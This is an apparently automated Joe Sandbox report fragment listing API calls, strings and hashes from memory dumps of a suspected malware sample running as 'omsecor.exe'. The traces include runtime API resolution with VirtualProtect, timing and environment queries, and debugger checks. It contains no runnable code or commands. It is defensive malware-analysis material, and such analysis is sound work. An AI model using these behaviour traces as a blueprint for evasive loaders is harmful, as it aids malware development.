GetProcessHeap.KERNEL32(00000000,00000000,?,00403796,?,?,00000104,?,00000000,00000008), ref: 00408534
HeapFree.KERNEL32(00000000,?,00403796,?,?,00000104,?,00000000,00000008), ref: 0040853B

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: Heap$CloseEnvironmentExpandFreeOpenProcessQueryStringsValue
String ID:
API String ID: 3604167287-0
Opcode ID: debf70bf2fb47a5e7b7c0995a40a49e648bf285b45755a0d6fc166e7e3eeac12
Instruction ID: 704a8cbe2313c99ccb7bf4cac6d27c9c5720caa44ca6f9902b9fd9ccb38d811f
Opcode Fuzzy Hash: debf70bf2fb47a5e7b7c0995a40a49e648bf285b45755a0d6fc166e7e3eeac12
Instruction Fuzzy Hash: 0521C871900626BBDF205B748E45ABF3668EF05328F10063EF561F22D0EB758D508658

Function 00409581 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

CharLowerW.USER32(00408E44,00000000,00000000,?,00408E44,00408795), ref: 004095A4
CharLowerW.USER32(00408795), ref: 004095D8
SysFreeString.OLEAUT32(00408795), ref: 00409608
SysFreeString.OLEAUT32(00408E44), ref: 0040960D

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: CharFreeLowerString
String ID:
API String ID: 2335467167-0
Opcode ID: ff78d62f8bf35a608bc63f02c9c9fafbc1ea89148f156ec964e1e543baeabb3a
Instruction ID: 6911929459278785efe31e607170db17e103bee024a9a22ae291265c1613d99e
Opcode Fuzzy Hash: ff78d62f8bf35a608bc63f02c9c9fafbc1ea89148f156ec964e1e543baeabb3a
Instruction Fuzzy Hash: 20116D72D00108BBDB019F9ADC85B9E7BB8EF44305F1544BAE405F21A1D779AE409F44

Function 00408091 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 139COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004081A3

Strings

-, xrefs: 00408140

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: -
API String ID: 885266447-2547889144
Opcode ID: b815d9a6725b7b7d4663accafdf12bc662ce9b6e2c1759233b63132321253c45
Instruction ID: cbf3f064ca1262f0759db58cdf0f181467b31290bd4ebff5f053a9a619aca6df
Opcode Fuzzy Hash: b815d9a6725b7b7d4663accafdf12bc662ce9b6e2c1759233b63132321253c45
Instruction Fuzzy Hash: 58415D31D0422699CB2177B98E417BB61A9DF44758F1440BFF9C0B72C2EEBC5D8581AE

Analysis Process: omsecor.exePID: 7360, Parent PID: 7336COMMON

Execution Graph

Execution Coverage:	3.1%
Dynamic/Decrypted Code Coverage:	0.3%
Signature Coverage:	0%
Total number of Nodes:	1163
Total number of Limit Nodes:	12

Executed Functions

Function 004012C0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNELBASE(ks clku .d,E51E2AD4), ref: 004012DD

Part of subcall function 00401080: GetTickCount.KERNEL32 ref: 00401096
Part of subcall function 00401080: GetDesktopWindow.USER32 ref: 004010B8
Part of subcall function 00401080: GetClassNameA.USER32(00000000,00000000,00000400), ref: 004010CC
Part of subcall function 00401080: GlobalAlloc.KERNELBASE(00000000,000F6950), ref: 004010EE
Part of subcall function 00401080: GetCurrentProcess.KERNEL32(?), ref: 0040114B
Part of subcall function 00401080: GetProcessIoCounters.KERNEL32(00000000), ref: 0040114E
Part of subcall function 00401080: GetCurrentProcess.KERNEL32(?,?,?,?), ref: 004011B9
Part of subcall function 00401080: GetProcessTimes.KERNELBASE(00000000), ref: 004011BC

Strings

ks clku .d, xrefs: 004012D8

Memory Dump Source

Source File: 00000004.00000002.1663507397.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1663486120.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1663507397.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1663565291.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_omsecor.jbxd

Similarity

API ID: Process$Current$AllocClassCountCountersDesktopFileFindFirstGlobalNameTickTimesWindow
String ID: ks clku .d
API String ID: 973805369-4096487313
Opcode ID: f572dfb4ccbad4a63051ea1b90dc6402510860d94203dc7c9fb76134c3d65c66
Instruction ID: 8201e92c16030f82e268503128fd01f75d7624b5287a074f0a6a6b49dcde2be8
Opcode Fuzzy Hash: f572dfb4ccbad4a63051ea1b90dc6402510860d94203dc7c9fb76134c3d65c66
Instruction Fuzzy Hash: 13C012701042448FC330AF24DE0ABAA37E4AB48300F00093AA5E8E60A4DA3455598A8A

Function 00401080 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 156
memorytimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00401096
GetDesktopWindow.USER32 ref: 004010B8
GetClassNameA.USER32(00000000,00000000,00000400), ref: 004010CC
GlobalAlloc.KERNELBASE(00000000,000F6950), ref: 004010EE
GetCurrentProcess.KERNEL32(?), ref: 0040114B
GetProcessIoCounters.KERNEL32(00000000), ref: 0040114E
GetCurrentProcess.KERNEL32(?,?,?,?), ref: 004011B9
GetProcessTimes.KERNELBASE(00000000), ref: 004011BC

Strings

cjkU dklu UUido c;aopi quio ,mvnciu cxklnsp, xrefs: 00401131

Memory Dump Source

Source File: 00000004.00000002.1663507397.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1663486120.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1663507397.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1663565291.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_omsecor.jbxd

Similarity

API ID: Process$Current$AllocClassCountCountersDesktopGlobalNameTickTimesWindow
String ID: cjkU dklu UUido c;aopi quio ,mvnciu cxklnsp
API String ID: 509927810-2920797944
Opcode ID: e0b8abb97aa25d1df5e5a951dd4f26f151847d18626d26f9063e3e0a3aa5dc8f
Instruction ID: 30898c1c04428891cb82ceb7e239a2b08516cd6c9376f1465321758e23d54b14
Opcode Fuzzy Hash: e0b8abb97aa25d1df5e5a951dd4f26f151847d18626d26f9063e3e0a3aa5dc8f
Instruction Fuzzy Hash: E55127F1D041744BDB288B298D54BB9BBF5ABC5305F0881BEE689B7381D5385A48CF28

Function 00407A98 Relevance: 9.1, APIs: 6, Instructions: 65
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00407A8F), ref: 00407A98
GetModuleHandleA.KERNEL32(?,00407A8F), ref: 00407AEA
GetProcAddress.KERNEL32(00000000,00000000), ref: 00407B12

Part of subcall function 00407AB5: GetProcAddress.KERNEL32(00000000,00407AA6), ref: 00407AB6
Part of subcall function 00407AB5: VirtualProtect.KERNELBASE(?,00000078,00000004,?,00000000,00000000,00407AA6,00407A8F), ref: 00407AC8
Part of subcall function 00407AB5: VirtualProtect.KERNELBASE(?,00000078,?,?,?,00000000,00000000,00407AA6,00407A8F), ref: 00407ADC

Memory Dump Source

Source File: 00000004.00000002.1663507397.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1663486120.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1663507397.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1663565291.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_omsecor.jbxd

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID:
API String ID: 2099061454-0
Opcode ID: 18a205e926d3f8c1bd8ceb8f3c836a0ea39c7540959748e6d39d93322aab4e9f
Instruction ID: 53099f65029657388ac4b193d9ffb221688749bb3c6439a8311ebbe5e3b7996f
Opcode Fuzzy Hash: 18a205e926d3f8c1bd8ceb8f3c836a0ea39c7540959748e6d39d93322aab4e9f
Instruction Fuzzy Hash: B501CC00F4D24539DA2051754C0197F7AA89A533687141677A111B72D3D9BCBE0692BF

Function 00407A59 Relevance: 7.6, APIs: 5, Instructions: 100
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(?,00407A8F), ref: 00407AEA
GetProcAddress.KERNEL32(00000000,00000000), ref: 00407B12

Part of subcall function 00407A98: GetModuleHandleA.KERNEL32(00407A8F), ref: 00407A98
Part of subcall function 00407A98: GetProcAddress.KERNEL32(00000000,00407AA6), ref: 00407AB6
Part of subcall function 00407A98: VirtualProtect.KERNELBASE(?,00000078,00000004,?,00000000,00000000,00407AA6,00407A8F), ref: 00407AC8
Part of subcall function 00407A98: VirtualProtect.KERNELBASE(?,00000078,?,?,?,00000000,00000000,00407AA6,00407A8F), ref: 00407ADC

Memory Dump Source

Source File: 00000004.00000002.1663507397.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1663486120.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1663507397.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1663565291.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_omsecor.jbxd

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID:
API String ID: 2099061454-0
Opcode ID: 731a18adefd9f684ec9123585341c8004b06a9316977ab842e52f252e525921e
Instruction ID: 8932c9a1b40894ead954c0166dfb712feb6fdadac19e13bdf209ed336a7ac0e8
Opcode Fuzzy Hash: 731a18adefd9f684ec9123585341c8004b06a9316977ab842e52f252e525921e
Instruction Fuzzy Hash: DE21F621A4D2416EEB2186B44C0166B7BE49B13368F1946A7D141EB2C3D1BC7D4687AB

Function 00407AB5 Relevance: 7.6, APIs: 5, Instructions: 54
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(00000000,00407AA6), ref: 00407AB6
VirtualProtect.KERNELBASE(?,00000078,00000004,?,00000000,00000000,00407AA6,00407A8F), ref: 00407AC8
VirtualProtect.KERNELBASE(?,00000078,?,?,?,00000000,00000000,00407AA6,00407A8F), ref: 00407ADC
GetModuleHandleA.KERNEL32(?,00407A8F), ref: 00407AEA
GetProcAddress.KERNEL32(00000000,00000000), ref: 00407B12

Memory Dump Source

Source File: 00000004.00000002.1663507397.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1663486120.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1663507397.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1663565291.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_omsecor.jbxd

Similarity

API ID: AddressProcProtectVirtual$HandleModule
String ID:
API String ID: 2152742572-0
Opcode ID: f81dfe0726a7f77e278230a0c4648d339da411b55a21776b762b5ef698216b3c
Instruction ID: 39b30828dda2cca0c429c80848ec8113aa03dbdf6ed959677c669bf53de2d5ad
Opcode Fuzzy Hash: f81dfe0726a7f77e278230a0c4648d339da411b55a21776b762b5ef698216b3c
Instruction Fuzzy Hash: 98F0F400E8D2043CEE2151B40C01ABBBBEC86633687241A27A211E72C3D4BC7E0692BB

Function 00402F3E Relevance: 3.0, APIs: 2, Instructions: 28
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,004017AC,00000001), ref: 00402F4F
HeapDestroy.KERNEL32 ref: 00402F85

Memory Dump Source

Source File: 00000004.00000002.1663507397.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1663486120.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1663507397.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1663565291.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_omsecor.jbxd

Similarity

API ID: Heap$CreateDestroy
String ID:
API String ID: 3296620671-0
Opcode ID: 7bbac67fe878dc3ebcdb7e33c34032945d00a98356e3978511e20ae8c663db98
Instruction ID: 98ebcd61208b82bef51758d9ec37e8992e6abd11400b15b10fa3614edeb5f36b
Opcode Fuzzy Hash: 7bbac67fe878dc3ebcdb7e33c34032945d00a98356e3978511e20ae8c663db98
Instruction Fuzzy Hash: D3E092706643029EEB40AB31AF0D72636E4E74078AF10843BF548F51E2EBBC8605AF4C

Non-executed Functions

Function 00401662 Relevance: 7.6, APIs: 5, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 004020B3
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 004020C8
UnhandledExceptionFilter.KERNEL32(00408204), ref: 004020D3
GetCurrentProcess.KERNEL32(C0000409), ref: 004020EF
TerminateProcess.KERNEL32(00000000), ref: 004020F6

Memory Dump Source

Source File: 00000004.00000002.1663507397.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1663486120.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1663507397.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1663565291.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_omsecor.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: bf9e4dc40609aede9a22b05b14043da035278ae7b0f51125174d724f9b36215e
Instruction ID: b20ca496c67c0111f9bdb02fdd2caa8760b953d18a2e8655b2b95bf976f6fc72
Opcode Fuzzy Hash: bf9e4dc40609aede9a22b05b14043da035278ae7b0f51125174d724f9b36215e
Instruction Fuzzy Hash: 5321AEB5950304DFC710EF24EF48A453BB5BF88306F10403AE549B36A1E7B859A59F9E

Function 00402465 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 156
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strcpy_s.LIBCMT ref: 004024D1
__invoke_watson.LIBCMT ref: 004024E2
GetModuleFileNameA.KERNEL32(00000000,0040B091,00000104), ref: 004024FE
_strcpy_s.LIBCMT ref: 00402513
__invoke_watson.LIBCMT ref: 00402526
_strlen.LIBCMT ref: 0040252F
_strlen.LIBCMT ref: 0040253C
__invoke_watson.LIBCMT ref: 00402569
_strcat_s.LIBCMT ref: 0040257C
__invoke_watson.LIBCMT ref: 0040258D
_strcat_s.LIBCMT ref: 0040259E
__invoke_watson.LIBCMT ref: 004025AF
GetStdHandle.KERNEL32(000000F4,?,?,00000000,77735E70,00000003,00402631,000000FC,0040667C,00000001,00000000,00000000,?,00403FFF,?,00000001), ref: 004025CE
_strlen.LIBCMT ref: 004025EF
WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,00403FFF,?,00000001,?,00403478,00000018,004093D0,0000000C,00403507,?), ref: 004025F9

Strings

Microsoft Visual C++ Runtime Library, xrefs: 004025BC
..., xrefs: 0040254D
<program name unknown>, xrefs: 00402508
Runtime Error!Program: , xrefs: 004024C0

Memory Dump Source

Source File: 00000004.00000002.1663507397.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1663486120.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1663507397.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1663565291.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_omsecor.jbxd

Similarity

API ID: __invoke_watson$_strlen$File_strcat_s_strcpy_s$HandleModuleNameWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 1879448924-4022980321
Opcode ID: 37e970e7a91dfcbae92fe90700a2f9926538e6433e08e305a6de03e0bd6f72c8
Instruction ID: 3ad8829dabe9c8e6b7970468b651ade891dcb41a26c93daa50347fadcc2e15d8
Opcode Fuzzy Hash: 37e970e7a91dfcbae92fe90700a2f9926538e6433e08e305a6de03e0bd6f72c8
Instruction Fuzzy Hash: CF3127B2A402153AE62136326F5EF2F314C9B91315F14013BFE09B26D6FABD9A1441FE

Function 00401E76 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 109
libraryloadermemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,004017BE), ref: 00401E7C
__mtterm.LIBCMT ref: 00401E88

Part of subcall function 00401BCA: TlsFree.KERNEL32(00000002,00401FF5), ref: 00401BF5
Part of subcall function 00401BCA: RtlDeleteCriticalSection.NTDLL(00000000), ref: 004033DC
Part of subcall function 00401BCA: RtlDeleteCriticalSection.NTDLL(00000002), ref: 00403406

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00401E9E
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00401EAB
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00401EB8
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00401EC5
TlsAlloc.KERNEL32 ref: 00401F15
TlsSetValue.KERNEL32(00000000), ref: 00401F30
__init_pointers.LIBCMT ref: 00401F3A
__calloc_crt.LIBCMT ref: 00401FAF
GetCurrentThreadId.KERNEL32 ref: 00401FDF

Strings

FlsGetValue, xrefs: 00401EA0
FlsSetValue, xrefs: 00401EAD
FlsAlloc, xrefs: 00401E98
FlsFree, xrefs: 00401EBA
KERNEL32.DLL, xrefs: 00401E77

Memory Dump Source

Source File: 00000004.00000002.1663507397.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1663486120.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1663507397.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1663565291.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_omsecor.jbxd

Similarity

API ID: AddressProc$CriticalDeleteSection$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__mtterm
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 2125014093-3819984048
Opcode ID: 354152662784ca78ebbfdb9d1e706067e68d0d363f7f71506686b96da0da82fe
Instruction ID: 2b6f412a48510a2ea5e28321b190ff4220801d9e6bfc04da0c4d4af9d52f3434
Opcode Fuzzy Hash: 354152662784ca78ebbfdb9d1e706067e68d0d363f7f71506686b96da0da82fe
Instruction Fuzzy Hash: AF318F319483029BE7146F75AF05B063AA5AF40355712053FF861B22F5EF7C8490EB5E

Function 00404854 Relevance: 24.7, APIs: 8, Strings: 6, Instructions: 164
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(USER32.DLL,00000000,00000000,00000314,?,?,?,0040B078,004025C7,0040B078,Microsoft Visual C++ Runtime Library,00012010), ref: 00404881
GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 0040489D

Part of subcall function 00401AAA: TlsGetValue.KERNEL32(00000000,00401B1F,00000000,00404862,00000000,00000000,00000314,?,?,?,0040B078,004025C7,0040B078,Microsoft Visual C++ Runtime Library,00012010), ref: 00401AB7
Part of subcall function 00401AAA: TlsGetValue.KERNEL32(00000004,?,?,?,0040B078,004025C7,0040B078,Microsoft Visual C++ Runtime Library,00012010), ref: 00401ACE

GetProcAddress.KERNEL32(00000000,00000000), ref: 004048BA

Part of subcall function 00401AAA: GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,?,?,0040B078,004025C7,0040B078,Microsoft Visual C++ Runtime Library,00012010), ref: 00401AE3
Part of subcall function 00401AAA: GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 00401AFE

GetProcAddress.KERNEL32(00000000,00000000), ref: 004048CF
__invoke_watson.LIBCMT ref: 004048F0

Part of subcall function 00404121: _memset.LIBCMT ref: 004041AD
Part of subcall function 00404121: IsDebuggerPresent.KERNEL32(?,?,00000000), ref: 004041CB
Part of subcall function 00404121: SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,00000000), ref: 004041D5
Part of subcall function 00404121: UnhandledExceptionFilter.KERNEL32(0040B078,?,?,00000000), ref: 004041DF
Part of subcall function 00404121: GetCurrentProcess.KERNEL32(C000000D,?,?,00000000), ref: 004041FA
Part of subcall function 00404121: TerminateProcess.KERNEL32(00000000,?,?,00000000), ref: 00404201

Part of subcall function 00401B21: TlsGetValue.KERNEL32(00000000,00401BB6,?,?,?,00402F66), ref: 00401B2E
Part of subcall function 00401B21: TlsGetValue.KERNEL32(00000004,?,?,?,00402F66), ref: 00401B45

Part of subcall function 00401B21: GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,?,?,00402F66), ref: 00401B5A
Part of subcall function 00401B21: GetProcAddress.KERNEL32(00000000,DecodePointer), ref: 00401B75

GetProcAddress.KERNEL32(00000000,GetUserObjectInformationA), ref: 00404904
GetProcAddress.KERNEL32(00000000,GetProcessWindowStation), ref: 0040491C
__invoke_watson.LIBCMT ref: 0040498F

Strings

USER32.DLL, xrefs: 0040487C
GetLastActivePopup, xrefs: 004048C2
GetActiveWindow, xrefs: 004048AD
GetUserObjectInformationA, xrefs: 004048FE
GetProcessWindowStation, xrefs: 00404916
MessageBoxA, xrefs: 00404897

Memory Dump Source

Source File: 00000004.00000002.1663507397.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1663486120.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1663507397.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1663565291.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_omsecor.jbxd

Similarity

API ID: AddressProc$Value$ExceptionFilterHandleModuleProcessUnhandled__invoke_watson$CurrentDebuggerLibraryLoadPresentTerminate_memset
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationA$MessageBoxA$USER32.DLL
API String ID: 2940365033-232180764
Opcode ID: d0843e3b680be133648664f8717c69194e3d07d516d4994a3cb1c1e79535d4f8
Instruction ID: 59fbdf2cbb2ff75c7ae2a14c3bd4fe5a66861bdf874bec260bfce3d1cd22fe51
Opcode Fuzzy Hash: d0843e3b680be133648664f8717c69194e3d07d516d4994a3cb1c1e79535d4f8
Instruction Fuzzy Hash: FD4163F1D00205AEDF10AFB59D86A6F7BA4EB94305B14083FE505F22E0DB7D9944CA5E

Function 00401C07 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 49
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(KERNEL32.DLL,00409328,0000000C,00401D18,00000000,00000000,?,?,?,00402F66), ref: 00401C18
GetProcAddress.KERNEL32(?,EncodePointer), ref: 00401C4C
GetProcAddress.KERNEL32(?,DecodePointer), ref: 00401C5C
InterlockedIncrement.KERNEL32(0040A3C8), ref: 00401C7E
__lock.LIBCMT ref: 00401C86
___addlocaleref.LIBCMT ref: 00401CA5

Strings

DecodePointer, xrefs: 00401C54
KERNEL32.DLL, xrefs: 00401C13
EncodePointer, xrefs: 00401C3E

Memory Dump Source

Source File: 00000004.00000002.1663507397.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1663486120.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1663507397.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1663565291.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_omsecor.jbxd

Similarity

API ID: AddressProc$HandleIncrementInterlockedModule___addlocaleref__lock
String ID: DecodePointer$EncodePointer$KERNEL32.DLL
API String ID: 1036688887-2843748187
Opcode ID: 6573cce91d4b34aeafb212c3c1fc7eea0ad3c310865ce8df9fb52cfb0840fec2
Instruction ID: 560e36331183b230e08dea58ace58335192f7a528c6e8c7e040251058e5fa637
Opcode Fuzzy Hash: 6573cce91d4b34aeafb212c3c1fc7eea0ad3c310865ce8df9fb52cfb0840fec2
Instruction Fuzzy Hash: 32113D719847019EE7209F76CA45B5ABBE4AF04348F10853FE899B62E1CB7C99418F19

Function 00402C5B Relevance: 13.7, APIs: 9, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStartupInfoA.KERNEL32(?), ref: 00402C70
__calloc_crt.LIBCMT ref: 00402C83

Part of subcall function 00404032: __calloc_impl.LIBCMT ref: 00404040
Part of subcall function 00404032: Sleep.KERNEL32(00000000), ref: 00404057

__calloc_crt.LIBCMT ref: 00402D06
GetFileType.KERNEL32(00000038), ref: 00402D86
___crtInitCritSecAndSpinCount.LIBCMT ref: 00402DBA
GetStdHandle.KERNEL32(-000000F6), ref: 00402E10
GetFileType.KERNEL32(00000000), ref: 00402E22
___crtInitCritSecAndSpinCount.LIBCMT ref: 00402E50
SetHandleCount.KERNEL32 ref: 00402E7A

Memory Dump Source

Source File: 00000004.00000002.1663507397.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1663486120.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1663507397.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1663565291.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_omsecor.jbxd

Similarity

API ID: Count$CritFileHandleInitSpinType___crt__calloc_crt$InfoSleepStartup__calloc_impl
String ID:
API String ID: 1318386821-0
Opcode ID: f5d02d02a8b2d0f0c38f4cc661f228c40208417c0c2fd58e7995995fa6c6c4fe
Instruction ID: b2392c38ea11d8206f0d28861f948c6360aed0bed67f1e2b59f3cb23873ff797
Opcode Fuzzy Hash: f5d02d02a8b2d0f0c38f4cc661f228c40208417c0c2fd58e7995995fa6c6c4fe
Instruction Fuzzy Hash: 366136715447518ED7248B38CB4C7167BA0EF02324F29437BD9A5BB2E1D7B89806CB9D

Function 00403BD3 Relevance: 10.7, APIs: 7, Instructions: 158
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getSystemCP.LIBCMT ref: 00403BEC

Part of subcall function 00403B59: _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00403B66
Part of subcall function 00403B59: GetOEMCP.KERNEL32(00000000,?,00402A85,?,?,00000001), ref: 00403B80

setSBCS.LIBCMT ref: 00403BFE

Part of subcall function 00403854: _memset.LIBCMT ref: 00403867

IsValidCodePage.KERNEL32(-00000030,00000000,?,00000000,00409430), ref: 00403C44
GetCPInfo.KERNEL32(00000000,00403F56), ref: 00403C57
_memset.LIBCMT ref: 00403C6F
setSBUpLow.LIBCMT ref: 00403D42

Memory Dump Source

Source File: 00000004.00000002.1663507397.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1663486120.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1663507397.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1663565291.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_omsecor.jbxd

Similarity

API ID: Locale_memset$CodeInfoPageSystemUpdateUpdate::_Valid
String ID:
API String ID: 2658552758-0
Opcode ID: 85fbc29d6093aa115f5ab7fa086d66e65b660b38745e4bae39b2770f61390fd6
